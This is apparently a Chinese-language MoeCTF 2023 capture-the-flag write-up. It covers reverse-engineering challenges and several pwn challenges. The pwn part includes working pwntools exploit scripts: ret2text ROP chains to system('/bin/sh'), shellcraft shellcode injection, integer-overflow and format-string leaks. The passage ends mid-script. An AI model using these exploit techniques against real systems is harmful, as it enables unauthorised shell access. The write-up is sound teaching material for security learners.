{
char v4; // [esp+0h] [ebp-78h]
char v5; // [esp+0h] [ebp-78h]
char v6[104]; // [esp+Ch] [ebp-6Ch] BYREF

sub_401087(aPlzInputYourFl, v4);
sub_401023(aS, (char)v6);
sub_4011E0();
if ( sub_401050(v6) )
sub_401087(aGood, v5);
else
sub_401087(aTryAgainPlease, v5);
return 0;
}

前面的是vfprint和vfscanf

sub_4011E0(); return了一个 sub_401550()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int sub_401550()
{
int result; // eax
int i; // [esp+4h] [ebp-1Ch]
DWORD flOldProtect[2]; // [esp+18h] [ebp-8h] BYREF

flOldProtect[1] = -858993460;
flOldProtect[0] = (DWORD)malloc(8u);
result = VirtualProtect((char *)&loc_4014D0 - (unsigned int)&loc_4014D0 % 0x1000, 0x1000u, 0x80u, flOldProtect);
for ( i = 0; i < 122; ++i )
{
*((_BYTE *)&loc_4014D0 + i) ^= 0x66u;
result = i + 1;
}
return result;
}

VirtualProtect修改了内存页的权限,可读可写可执行,并填充0xcccc初始化了,然后下面loc_4014D0 按字节异或0x66u 122次

使用ida中的script command把0x4014D0以及往后的121个字节处理一下

1
2
for i in range(0x4014D0,0x40154a):
patch_byte(i,get_wide_byte(i)^0x66)

出现了push ebp,下面的全是db,转成数组然后转code转function,注意第一个db的位置是4014D1

1
2
3
4
5
6
7
8
9
10
11
12
13
int __cdecl sub_4014D1(int a1, char *Str)
{
size_t i; // [esp+0h] [ebp-8h]
int v4; // [esp+4h] [ebp-4h]

v4 = 1;
for ( i = 0; i < strlen(Str); ++i )
{
if ( ((unsigned __int8)(Str[i] + 57) ^ 0x39) != (unsigned __int8)byte_40A000[i] )
v4 = 0;
}
return v4;
}

在if中是

1
2
3
4
void __cdecl sub_401050(int a1)
{
JUMPOUT(0x4014D0);
}

所以只需要把byte_40A000[i]异或一遍0x39 -57然后转ascii就能拿到flag

1
2
3
4
5
6
flag = [0x9f, 0x91, 0xa7, 0xa5, 0x94, 0xa6, 0x8d, 0xb5, 0xa7, 0x9c, 0xa6, 0xa1, 0xbf, 0x91, 0xa4, 0x53, 0xa6, 0x53, 0xa5, 0xa3, 0x94, 0x9b, 0x91, 0x9e, 0x8f, 0x0, 0x0, 0x0]
flag = [i ^ 0x39 for i in flag]
flag = [i - 57 for i in flag]

for i in flag:
print(chr(i),end="")

moectf{Self_Mod1f1cation}

junk_code

sub_45A9A0(Str, 18) && sub_459EBF(v5, 18)中有call花指令影响ida分析,只需要patch 0x90(nop)掉ida就能正常分析了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Str1 = 'hj`^oavt+pZm`h+q._'
Str1 = [ord(i) + 5 for i in Str1]

Str2 = [
0x39, 0x12, 0x0E, 0x55, 0x39, 0x0C, 0x13, 0x08,
0x0D, 0x39, 0x05, 0x56, 0x02, 0x55, 0x47, 0x47,
0x47, 0x1B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
]
Str2 = [int(i) ^ 0x66 for i in Str2]

for i in range(len(Str1)):
print(chr(Str1[i]),end="")
for i in range(len(Str2)):
print(chr(Str2[i]),end="")

RUST

cargo是rust的包管理器

cargo new project_aaaa 创建一个项目

cargo bulid 构建 cargo run 运行

https://rustwiki.org/zh-CN/book/ rust基础语法

反编译后的代码量比较多,对于容器还有一些函数的操作,会有很多类型校验,值校验的操作,所以伪代码会比较多

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
fn main() {
let mut v28 = String::new();

std::io::stdin().read_line(&mut v28).unwrap();

let input = v28.trim_end();

if input.len() != 30 {
println!("Error: Input length must be 30 characters");
std::process::exit(1);
}

let byte_array: Vec<u8> = vec![
0xE5, 0xE7, 0xED, 0xEB, 0xFC, 0xEE, 0xF3, 0xDA,
0xFD, 0xFB, 0xFC, 0xD7, 0xFA, 0xED, 0xFE, 0xD7,
0xFF, 0xE1, 0xE4, 0xE4, 0xD7, 0xEA, 0xED, 0xD7,
0xE9, 0xFF, 0xEE, 0xFD, 0xB9, 0xF5
];

let mut v34: Vec<u8> = input.chars().map(|c| c as u8).collect();

let mut v38 = true;

for (i, &byte) in byte_array.iter().enumerate() {
if byte ^ 0x88 != v34[i] {
v38 = false;
break;
}
}
if v38 {
println!("Success");
} else {
println!("Failure");
}
println!("");
}

大概是这样的一个逻辑

得到flag moectf{Rust_rev_will_be_awfu1}

ezandroid

1
2
3
4
5
6
7
8
9
10
String s = input.getText().toString();
if (s.length() != 23) {
Toast.makeText(MainActivity.this.getApplicationContext(), "长度不对哦", 0).show();
} else if (MainActivity.this.check(s) == 1) {
Context applicationContext = MainActivity.this.getApplicationContext();
Toast.makeText(applicationContext, "OK!RIGHT,flag is moectf{" + s + "}", 0).show();
} else {
Toast.makeText(MainActivity.this.getApplicationContext(), "Try to reverse the native lib!", 0).show();
}

1
2
3
4
5
6
7

public native int check(String str);

static {
System.loadLibrary("ezandroid");
}

根据hint去查询资料了解到jni的代码存储在lib目录下的.so文件里面,然后在调用这些函数之前分动态注册和静态注册,静态注册的话搜索一个完整路径的类名就能找到代码位置,动态注册的话在注册的位置一路找到引用反编译就能找到位置

存在jni_onload就是动态注册

1
2
3
4
5
6
7
8
qword_3BF8 = sub_173C(v6, "com/doctor3/ezandroid/MainActivity");
if ( qword_3BF8 )
{
if ( (sub_1770(v6, qword_3BF8, off_2938, 1LL) & 0x80000000) != 0 )
v4 = -1;
else
v4 = 65540;
}

这个sub_1770应该是注册的函数,off_2938应该是要找的东西

1
2
3
4
5
                                        ; LOAD:0000000000000168↑o ...
.data.rel.ro:0000000000002938 off_2938 DCQ aCheck ; DATA XREF: JNI_OnLoad+148↑o
.data.rel.ro:0000000000002938 ; "check"
.data.rel.ro:0000000000002940 DCQ aLjavaLangStrin ; "(Ljava/lang/String;)I"
.data.rel.ro:0000000000002948 DCQ sub_17B4

能看到传参的类型 sub17B4就是check的实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
bool __fastcall sub_D7C(_BYTE *inputString)
{
_BYTE *v1; // x8
bool v3; // [xsp+14h] [xbp-1Ch]
char *flag; // [xsp+18h] [xbp-18h]
_BOOL4 v6; // [xsp+2Ch] [xbp-4h]

flag = &asc_3B50[18];
while ( 2 )
{
v3 = 0;
if ( *inputString )
v3 = *flag != 42;
if ( v3 )
{
v1 = inputString++;
switch ( *v1 )
{
case 'a':
--flag;
continue;
case 'd':
++flag;
continue;
case 's':
flag += 15;
continue;
case 'w':
flag -= 15;
continue;
default:
v6 = 0;
break;
}
}
else
{
v6 = *flag == 35;
}
break;
}
return v6;
}

ws应该是上下移的意思,可以知道迷宫的宽度为15

1
2
3
4
5
6
7
8
9
***************
***@******#****
***.******.****
*...******.****
*.********.****
*.****.....****
*.****.********
*......********
***************

试了一下错了,重新看了一下,发现看的比较快 开头有个memcpy忽略了

1
2
3
4
5
6
strcpy(
v7,
"******************@**************.************...****#..*****.********.*****.****.....*****.****.*********......****"
"*******************");
v5 = __strlen_chk(v7, 0x88u);
__memcpy_chk(asc_3B50, v7, v5, 136LL);

asc_3B50就是看错的那个迷宫的地址

1
2
3
4
5
6
7
8
9
10
***************
***@***********
***.***********
*...****#..****
*.********.****
*.****.....****
*.****.********
*......********
***********

moectf{ssaassssdddddwwddddwwaa}

GUI [有问题]

die显示是.net

1
WndClass.lpfnWndProc = sub_450CDF;

这里设置了窗口过程的函数指针,他会处理窗口相关的信息

1
LRESULT __stdcall sub_45BF90(HWND hWndParent, UINT Msg, WPARAM wParam, LPARAM lParam)

hWbdParent是窗口的句柄,msg是消息的id,这个wparam和lparam好像是会根据消息的不同穿过来不同的附加消息。

关键是这里,这里是有个c++类,ida将这个类平坦开了,显示很奇怪,所以还是从汇编的视图去分析逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
if ( (unsigned __int16)wParam == 1 )
{
DlgItem = GetDlgItem(hWndParent, 2);
GetWindowTextW(DlgItem, String, 1024);
sub_450C94(String);
v13 = 0;
sub_450A0A(v7, v8);
LOBYTE(v13) = 1;
sub_450C94(a91);
if ( (unsigned __int8)sub_4531AB(v7, v6) )
MessageBoxW(hWndParent, Text, L"hint", 0);
else
MessageBoxW(hWndParent, L"Sorry, flag error.", L"hint", 0);
sub_4529B8(v6);
LOBYTE(v13) = 0;
sub_4529B8(v7);
v13 = -1;
sub_4529B8(v8);
}

从inputString开始分析,这里ecx看起来很奇怪,查询资料才知道这个ecx是一个this指针

1
2
3
4
push    eax             ; hWnd
call ds:GetWindowTextW
cmp esi, esp
call j___RTC_CheckEsp
1
2
3
4
5
6
7
8
9
10
11
lea     eax, [ebp+String]
push eax
lea ecx, [ebp+var_498]
call sub_450C94
mov [ebp+var_4], 0
lea eax, [ebp+var_498]
push eax
lea ecx, [ebp+var_4BC]
push ecx
call sub_450A0A
add esp, 8

unwind

这个题一开始咱遇到挺多问题的,不过也学会 seh的程序怎么分析,哪些操作会出现异常被try块捕获 动态调试 一点点找反调试函数的方法。

一开始我就从静态上分析,先去学习了SEH大概是怎么样的一个东西,然后明白了SEH会对我分析程序运行顺序流程有影响,所以我需要关注什么汇编代码会出现异常,try块捕获后会跳转到哪里。

1
2
3
4
5
6
.text:00415908 ;   __try { // __except at loc_415928
.text:00415908 mov [ebp+ms_exc.registration.TryLevel], 0
.text:0041590F mov large dword ptr ds:0, 0
.text:0041590F ; } // starts at 415908
.text:00415919 mov [ebp+ms_exc.registration.TryLevel], 0FFFFFFFEh
.text:00415920 jmp short loc_41597A

这是第一个try块,这里往ds:0 写数据是会触发一个异常的,查询资料后知道, ds:0是操作系统捕获空指针解引用的地址,这个地址是受保护的,写数据会触发异常

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
.text:00411820 sub_411820      proc near               ; CODE XREF: sub_4110FF↑j
.text:00411820
.text:00411820 var_E4 = dword ptr -0E4h
.text:00411820 var_10 = byte ptr -10h
.text:00411820 var_C = dword ptr -0Ch
.text:00411820 var_4 = dword ptr -4
.text:00411820
.text:00411820 push ebp
.text:00411821 mov ebp, esp
.text:00411823 sub esp, 0D0h
.text:00411829 push ebx
.text:0041182A push esi
.text:0041182B push edi
.text:0041182C lea edi, [ebp+var_10]
.text:0041182F mov ecx, 4
.text:00411834 mov eax, 0CCCCCCCCh
.text:00411839 rep stosd
.text:0041183B mov eax, ___security_cookie
.text:00411840 xor eax, ebp
.text:00411842 mov [ebp+var_4], eax
.text:00411845 mov [ebp+var_C], offset loc_4112FD
.text:0041184C push [ebp+var_C]
.text:0041184F push large dword ptr fs:0
.text:00411856 mov large fs:0, esp
.text:0041185D int 3 ; Trap to Debugger
.text:0041185E mov eax, [esp+0E4h+var_E4]
.text:00411861 mov large fs:0, eax
.text:00411867 add esp, 8
.text:0041186A pop edi
.text:0041186B pop esi
.text:0041186C pop ebx
.text:0041186D mov ecx, [ebp+var_4]
.text:00411870 xor ecx, ebp ; StackCookie
.text:00411872 call j_@__security_check_cookie@4 ; __security_check_cookie(x)
.text:00411877 add esp, 0D0h
.text:0041187D cmp ebp, esp
.text:0041187F call j___RTC_CheckEsp
.text:00411884 mov esp, ebp
.text:00411886 pop ebp
.text:00411887 retn
.text:00411887 sub_411820 endp

第二个异常的位置就是在这里,int3是 x86里面的一个软中断指令,用来触发断点异常,调试器会用这个int3实现断点功能(这有个坑,关于动态调试的)

然后得出的逻辑是 inputString char[] 64这么一个数据 -> 分成八个等长的子串 ->前四个使用tea1和key[]数组加密->后四个使用tea2和key[]数组加密-> cmp inputString flagString -> jz flag success

大概是这么一个逻辑

遇到的第一个问题是,这个tea1和tea2其实是一个东西,call的时候咱没看清楚函数名字(反编译插件显示有些问题,就去跟着两个tea encode写了一遍代码qaq 。不过发现在分析算法的时候,一开始总点关注对输入输出是怎么样的一个处理流程,然后再给偏移地址全部打上标签,然后就能很快分析清楚了qaq)

然后写了decode之后怎么解都是只能解出前半段,看来看去逻辑都没有问题,调试的话就会莫名其妙的闪退

从main开始往下单步会发现

1
2
3
4
.text:0041589A                 call    j_@__CheckForDebuggerJustMyCode@4 ; __CheckForDebuggerJustMyCode(x)
.text:0041589F call sub_4113E3
.text:004158A4 mov esi, esp
.text:004158A6 push offset Buffer ; "Welcome to moectf2023!!! Now you find Y"...

运行到4113E3就会闪退,跟进去看一下

1
2
.text:004117B7                 push    offset ModuleName ; "Ntdll"
.text:004117BC call ds:GetModuleHandleA
1
.text:004117FF                 .text:004117FF                 call    [ebp+var_14]

发现这里面加载了ntdll ,然后在这里call [ebp+var_14]退出了把这个sub_4113E3 nop掉发现能往下调试了

下面作用类似于scanf 获取输入的函数里面也会闪退

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
.text:00411890 ; int __cdecl sub_411890(char *Format, char)
.text:00411890 sub_411890 proc near ; CODE XREF: sub_4113CA↑j
.text:00411890
.text:00411890 Format = dword ptr 8
.text:00411890 arg_4 = byte ptr 0Ch
.text:00411890
.text:00411890 push ebp
.text:00411891 mov ebp, esp
.text:00411893 sub esp, 0C0h
.text:00411899 push ebx
.text:0041189A push esi
.text:0041189B push edi
.text:0041189C mov edi, ebp
.text:0041189E xor ecx, ecx
.text:004118A0 mov eax, 0CCCCCCCCh
.text:004118A5 rep stosd
.text:004118A7 mov ecx, offset unk_41C063
.text:004118AC call j_@__CheckForDebuggerJustMyCode@4 ; __CheckForDebuggerJustMyCode(x)
.text:004118B1 call sub_4113E3
.text:004118B6 mov eax, dword ptr [ebp+arg_4]
.text:004118B9 push eax ; char
.text:004118BA mov ecx, [ebp+Format]
.text:004118BD push ecx ; Format
.text:004118BE call sub_4113C5
.text:004118C3 add esp, 8
.text:004118C6 pop edi
.text:004118C7 pop esi
.text:004118C8 pop ebx
.text:004118C9 add esp, 0C0h
.text:004118CF cmp ebp, esp
.text:004118D1 call j___RTC_CheckEsp
.text:004118D6 mov esp, ebp
.text:004118D8 pop ebp
.text:004118D9 retn
.text:004118D9 sub_411890 endp

call sub_4113E3 这个地方,下面还有个call那个是获取输入的

1
2
3
4
5
6
.text:004117B7                 push    offset ModuleName ; "Ntdll"
.text:004117BC call ds:GetModuleHandleA

.text:004117F1 call ds:GetCurrentThread

.text:004117FF call [ebp+var_14]

这里也加载了ntdll 获取了线程,在call [ebp+var_14] 这断掉了,nop掉call sub_4113E3后程序能正常调试了

上面说的坑是,在nop掉这些东西后开始调试程序,他只能从start开始,start里面有一个int3,我看这个也没有什么影响,就给他抛出了,后面到了程序逻辑里面,程序逻辑里面也有个int3,ida自动给我抛出了。一开始start那不抛出int3他就没有什么问题

动态了之后才知道,inputString 后32位 encode了两次,所以第一次写脚本只能解出一半

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
def decrypt(ciphertext, key):
v0, v1 = ciphertext
k0, k1, k2, k3 = key
sum_ = 0xC6EF3720
for _ in range(32):
v1 -= ((v0 << 4) + k2) ^ (v0 + sum_) ^ ((v0 >> 5) + k3)
v1 = v1 & 0xFFFFFFFF
v0 -= ((v1 << 4) + k0) ^ (v1 + sum_) ^ ((v1 >> 5) + k1)
v0 = v0 & 0xFFFFFFFF
sum_ -= 0x9E3779B9
sum_ = sum_ & 0xFFFFFFFF
return (v0, v1)

def key_to_integers(key_str):
padded_key = key_str.ljust(16, '\0')
return tuple(int.from_bytes(padded_key[i:i+4].encode(), 'little') for i in range(0, len(padded_key), 4))

def data_bytes_to_tuples(data_bytes):
data_list = [int.from_bytes(data_bytes[i:i+4], 'little') for i in range(0, len(data_bytes), 4)]
return list(zip(data_list[::2], data_list[1::2]))

def tuples_to_bytes(data_tuples):
byte_list = [item.to_bytes(4, 'little') for sublist in data_tuples for item in sublist]
return b''.join(byte_list)

keys = ["DX3906", "doctor3", "FUX1AOYUN", "R3verier"]
key_integers = [key_to_integers(key) for key in keys]

flag1 = [90, 227, 107, 228, 6, 135, 2, 79, 67, 223, 205, 193, 119, 152, 107, 219, 143, 56, 67, 153, 227, 147, 34, 181, 35, 253, 176, 28, 229, 227, 238, 206]
flag2 = [47, 29, 173, 43, 164, 21, 152, 249, 216, 235, 37, 250, 107, 33, 183, 114, 185, 3, 51, 46, 217, 76, 235, 123, 245, 167, 72, 249, 144, 157, 56, 252]

# flag1 decode
f1 = data_bytes_to_tuples(flag1)
decrypted_data_list_1 = [decrypt(data_tuple, key_integer) for data_tuple, key_integer in zip(f1, key_integers)]
decrypted_bytes_1 = tuples_to_bytes(decrypted_data_list_1)
decrypted_string_1 = decrypted_bytes_1.decode(errors='replace')

# flag2 decode1
f2 = data_bytes_to_tuples(flag2)
decrypted_data_list_2_1st = [decrypt(data_tuple, key_integer) for data_tuple, key_integer in zip(f2, key_integers)]
decrypted_bytes_2_1st = tuples_to_bytes(decrypted_data_list_2_1st)


#flag2 decode2
f2_2nd = data_bytes_to_tuples(decrypted_bytes_2_1st)
decrypted_data_list_2_2nd = [decrypt(data_tuple, key_integer) for data_tuple, key_integer in zip(f2_2nd, key_integers)]
decrypted_bytes_2_2nd = tuples_to_bytes(decrypted_data_list_2_2nd)
decrypted_string_2_2nd = decrypted_bytes_2_2nd.decode(errors='replace')

result = decrypted_string_1 + decrypted_string_2_2nd

print(result)

得到flag moectf{WoOo00Oow_S0_interesting_y0U_C4n_C41l_M3tW1c3_BY_Unw1Nd~}

unwind栈展开的例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include <iostream>
#include <stdexcept>

class ClassA {
public:
ClassA() { std::cout << "ClassA constructed.\n"; }
~ClassA() { std::cout << "ClassA destructed.\n"; }
};

class ClassB {
public:
ClassB() { std::cout << "ClassB constructed.\n"; }
~ClassB() { std::cout << "ClassB destructed.\n"; }
};

class ClassC {
public:
ClassC() {
std::cout << "ClassC constructed.\n";
throw std::runtime_error("Exception from ClassC constructor");
}
~ClassC() { std::cout << "ClassC destructed.\n"; }
};

int main() {
try {
ClassA a;
ClassB b;
ClassC c;
}
catch (const std::exception& e) {
std::cout << "Caught exception: " << e.what() << std::endl;
}
return 0;
}

EZNET[未解决-没思路]

PWN

test_nc

查看gift提示flag是隐藏的,ls -al 发现.flag cat

moectf{BEgOXB3-Sk6bTQrihNqE5rw4G46OQIHS}

baby_calculator

后面发现flag出不来,是因为有个换行符,recvline到换行符就停了,用recvrepeat设置个超时时间就读出来了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
import re

pattern = r"(\d+)\s*([\+\-\*\/])\s*(\d+)\s*=\s*(\d+)"


p = remote('192.168.144.193',56098)
p.recvregex(b'Now..start!\n')


for i in range(100):
print(p.recvline()) ; print(p.recvline())

s = p.recvline().decode('utf-8')
match = re.search(pattern, s)

n1, operator, n2, r = match.groups()
n1, n2 , r = int(n1) ,int(n2) , int(r)
print(n1, operator, n2, r)

if operator == '+':
n1 = n1 + n2
elif operator == '-':
n1 = n1 - n2

if(r == n1):
p.sendline(b'BlackBird\n')
else:
p.sendline(b'WingS\n')

print(p.recvrepeat(5))

moectf{H4ve_y0u_rea11y_useD_Pwnt00ls??????}

fd

https://wiyi.org/linux-file-descriptor.html

https://www.cnblogs.com/love-jelly-pig/p/10048483.html

去查询了一下资料,当进程打开一个文件内核会返回一个FILE Descriptor,进程可以通过fd对文件进行操作

这个程序的意思是输入fd,然后通过fd读数据输出,fd 0 1 2都被系统占用了分别是stdin stdout stderr,所以3是flag。

fd被销毁前通过dup2函数将文件描述符复制到了new_fd。new_fd = 4 * 3 | 0x29A。new_fd =670,所以只需要传入670就能将flag读出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
int __cdecl main(int argc, const char **argv, const char **envp)
{
int input; // [rsp+4h] [rbp-6Ch] BYREF
int fd; // [rsp+8h] [rbp-68h]
int new_fd; // [rsp+Ch] [rbp-64h]
char flag[80]; // [rsp+10h] [rbp-60h] BYREF
unsigned __int64 v8; // [rsp+68h] [rbp-8h]

v8 = __readfsqword(0x28u);
input = 0;
init();
puts("Do you know fd?");
fd = open("./flag", 0, 0LL);
new_fd = (4 * fd) | 0x29A;
dup2(fd, new_fd);
close(fd);
puts("Which file do you want to read?");
puts("Please input its fd: ");
__isoc99_scanf("%d", &input);
read(input, flag, 0x50uLL);
puts(flag);
return 0;
}
1
moectf{3H1lDl8GIZHEi0_IWpA4krCAChNI3bpd}

int_overflow

https://ctf-wiki.org/pwn/linux/user-mode/integeroverflow/introduction/

int32溢出的原理是进位的时候把最高位的正负符号位改变了,所以变成负数了。

所以要计算变成-114514,要明白 i32的大小范围 2**31 -1。-1是因为有个0

所以只需要计算2**32 - 114514 就能求出溢出到-114514需要输入多少,得到4294852782

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
void __cdecl vuln()
{
int n; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v1; // [rsp+8h] [rbp-8h]

v1 = __readfsqword(0x28u);
puts("Welcome to Moectf2023.");
puts("Do you know int overflow?");
puts("Can you make n == -114514 but no '-' when you input n.");
puts("Please input n:");
get_input(&n);
if ( n == -114514 )
backdoor();
puts("Maybe you should search and learn it.");
}
1
moectf{6iD1QTUJSScIKT-_6vm-6nWQs8GvJK6-}

ret2text_32

1
2
3
4
5
6
7
8
9
10
11
ssize_t vuln()
{
size_t nbytes; // [esp+Ch] [ebp-5Ch] BYREF
char buf[84]; // [esp+10h] [ebp-58h] BYREF

puts("Welcome to my stack in MoeCTF2023!");
puts("What's your age?");
__isoc99_scanf("%d", &nbytes);
puts("Now..try to overflow!");
return read(0, buf, nbytes);
}

程序里面有plt system的,有个/bin/sh的gadget
这里只需要计算buf到返回地址的距离,system填充栈底下的返回地址,然后填充system的返回地址还有/bin/sh的地址,就能将/bin/sh传参到system

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *

ip = "127.0.0.1"
port = 58873
p = remote(ip, port)
# p = process("./pwn")


line = p.recvline() ;print(line) # Welcome to my stack in MoeCTF2023!
line = p.recvline() ;print(line) # What's your age?


system_addr = 0x8049070 # plt func system
command_addr = 0x804c02c # /bin/sh addr

# offset = char buf[84] + var_4 4 byte = s ; s + 4 = r
payload = b'A' * (84 + 4 + 4)
payload += p32(system_addr)
payload += b'C' * 4
payload += p32(command_addr)

p.sendline(str(len(payload)).encode())
line = p.recvline() ;print(line) # What's your age?

p.sendline(payload)

p.interactive()
1
moectf{eV9akrlQlwtJVvpBAk45YMO18UHvBv4n}

ret2text_64

咱是笨蛋,因为64位栈对齐想了好久 https://blog.csdn.net/hu_c_t_f/article/details/131902515

64位使用rdi传第一个参数 传参的顺序分别是rdi rsi rdx rcx r8 r9,所以需要找一个pop rdi ret的gadget

使用ROPgadget –binary pwn | grep pop | grep rdi 就能筛选

offset + ret + gadget + /bin/sh + func system()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *

ip = "localhost"
port = 50215
p = remote(ip, port)
# p = process("./pwn")

line = p.recvline() ;print(line)
line = p.recvline() ;print(line)
line = p.recvline() ;print(line)

string_addr = 0x404050 # bin/sh address
gadget_addr = 0x4011be # pop rdi ret
system_addr = 0x401090 # system(char * command) address
ret_addr = 0x040101a # ret addr


payload = b'A' * (80 + 8) # offset buf[80] + 8 = r
payload += p64(ret_addr) #64位 gadget中有个ret 消耗了8字节,这里需要再ret一次保持栈对齐
payload += p64(gadget_addr)
payload += p64(string_addr)
payload += p64(system_addr)

p.sendline(str(len(payload)).encode())

line = p.recvline() ;print(line)

p.sendline(payload)

p.interactive()
1
moectf{KsAymn0LqrzuRUcO3QI71N_u3UzZz1m7}

shellcode_level0

这里的意思是,我传进去的数据会先放到rbp+var_70的位置,然后下面会call我传进去的数据,查询了一下然后根据题目的提示,我只需要用pwntools中的shellcraft来生成shellcode然后sendline过去就好了

1
2
3
4
5
6
7
8
9
lea     rax, [rbp+var_70]
mov rdi, rax
mov eax, 0
call _gets
lea rax, [rbp+var_70]
mov [rbp+var_78], rax
mov rdx, [rbp+var_78]
mov eax, 0
call rdx
1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

ip = "192.168.1.111"
port = 58988
p = remote(ip, port)
context(arch='amd64', os='linux')
# p = process("./shellcode_level0")

shellcode = asm(shellcraft.sh())
payload = shellcode

p.sendline(payload)

p.interactive()

这里要先设置一下context函数,设置好平台再生成shellcode sendline过去

1
moectf{ddP0bHRsw_l0B6HQnDFtG62TOXAVXFv6}

shellcode_level1

mmap和mprotect函数是干嘛用的?我的shellcode怎么没有执行权限?

mmap是类似于malloc但是可以指定内存的读写执行权限是怎么样的,然后mprotect是在已经分配好的内存上面修改内存的权限

在case4里面7的意思是PROT_READ | PROT_WRITE | PROT_EXEC 的结果,可读可写可执行

1
2
int mprotect(void *addr, size_t len, int prot);
mprotect(paper4, 0x1000uLL, 7);

然后只需要case4 shellcode就没问题了,pwntools脚本是这样写的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import posixpath
from pwn import *


ip = "192.168.129.194"
port = 57941
p = remote(ip, port)
# p = process("./shellcode_level1")

context(arch='amd64', os='linux')

line = p.recvline(); print(line) # Which paper will you choose?

p.sendline(b'4') # mprotect(paper4, 0x1000uLL, 7);

line = p.recvline(); print(line) # what do you want to write?

shellcode = asm(shellcraft.sh()) ; payload = shellcode
p.sendline(payload) #

p.interactive()

uninitialized_key

1
2
3
4
5
6
7
8
9
10
11
void __cdecl get_name()
{
int age; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v1; // [rsp+8h] [rbp-8h]

v1 = __readfsqword(0x28u);
age = 0;
puts("Please input your age:");
__isoc99_scanf("%d", &age);
printf("Your age is %d.\n", (unsigned int)age);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
void __cdecl get_key()
{
int key; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v1; // [rsp+8h] [rbp-8h]

v1 = __readfsqword(0x28u);
puts("Please input your key:");
__isoc99_scanf("%5d", &key);
if ( key == 114514 )
{
puts("This is my flag.");
system("cat flag");
}
}

key和age在栈中的地址一样的,所以只需要在get_name中设置age变量为114514,然后scanf这里输入一个非数字的符号,就不会初始化,比如说=号

1
moectf{V5glae83rq6G1nSbZa6pGtWaflnHjE1U}

format_level0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
int __cdecl main(int argc, const char **argv, const char **envp)
{
int fd; // [esp+0h] [ebp-B0h]
char flag[80]; // [esp+4h] [ebp-ACh] BYREF
char name[80]; // [esp+54h] [ebp-5Ch] BYREF
unsigned int v7; // [esp+A4h] [ebp-Ch]
int *p_argc; // [esp+A8h] [ebp-8h]

p_argc = &argc;
v7 = __readgsdword(0x14u);
init();
memset(flag, 0, sizeof(flag));
memset(name, 0, sizeof(name));
fd = open("flag", 0, 0);
if ( fd == -1 )
{
puts("open flag error!");
exit(0);
}
read(fd, flag, 0x50u);
close(fd);
puts("Please input your name:");
read(0, name, 0x50u);
printf("Your name is: ");
printf(name);
return 0;
}

搜索后发现 printf(name)这里存在格式化字符串漏洞,可以用%x来泄露栈上的数据,没有加参数列表似乎是从栈起始地址开始读,%x是以16进制输出数据,32位是4字节。

payload

1
%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x

linux上是小端序存储,所以需要反转一下变成大端序显示

1
2
3
4
5
6
7
8
9
flag = "ff886d4c.50.56648362.ff886e74.0.3.63656f6d.617b6674.4c4c5059.67426344.6e577272.70453348.484b5041.784f3151.64774731.7d515737.a.0.0.0.0.0.0.0.0.0.252e7825"
flag = flag.split('.')

def convert(segment):
return segment[6:8] + segment[4:6] + segment[2:4] + segment[0:2]

decoded_str_big_endian = ''.join(bytes.fromhex(convert(flag)).decode('ascii', errors='ignore') for flag in flag if len(flag) == 8)

print(decoded_str_big_endian)
1
moectf{aYPLLDcBgrrWnH3EpAPKHQ1Ox1Gwd7WQ}

PIE_enabled

查询了一下PIE是一种程序每次运行时候都能加载到不同内存地址的技术,每次加载整个程序中的代码数据和堆栈都会随机化

然后这里把vuln函数的地址打印了出来,查询资料后发现,pie是基地址会变,但是偏移地址是不变的,可以用这里打印的vuln的地址计算出基地址然后用偏移地址来确定数据和函数的位置

1
2
3
4
5
6
7
8
ssize_t vuln()
{
char buf[80]; // [rsp+0h] [rbp-50h] BYREF

puts("This time i will give u a gift!\n");
printf("Vuln's address is:%p\n", vuln);
return read(0, buf, 0x100uLL);
}

具体怎么操作我是看这篇文章学会的
https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit

首先需要将context.binary 设置成 ELF(./pwn)

elf.address = vuln - elf.sym[‘vuln’] 这里根据elf的符号表的偏移 算出基地址

下面payload中gadget只需要加上elf.address 这个基地址就可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *

#
ip = "192.168.1.129"
port = 57376
elf = context.binary = ELF('./pwn')
# p = process()
p = remote(ip, port)

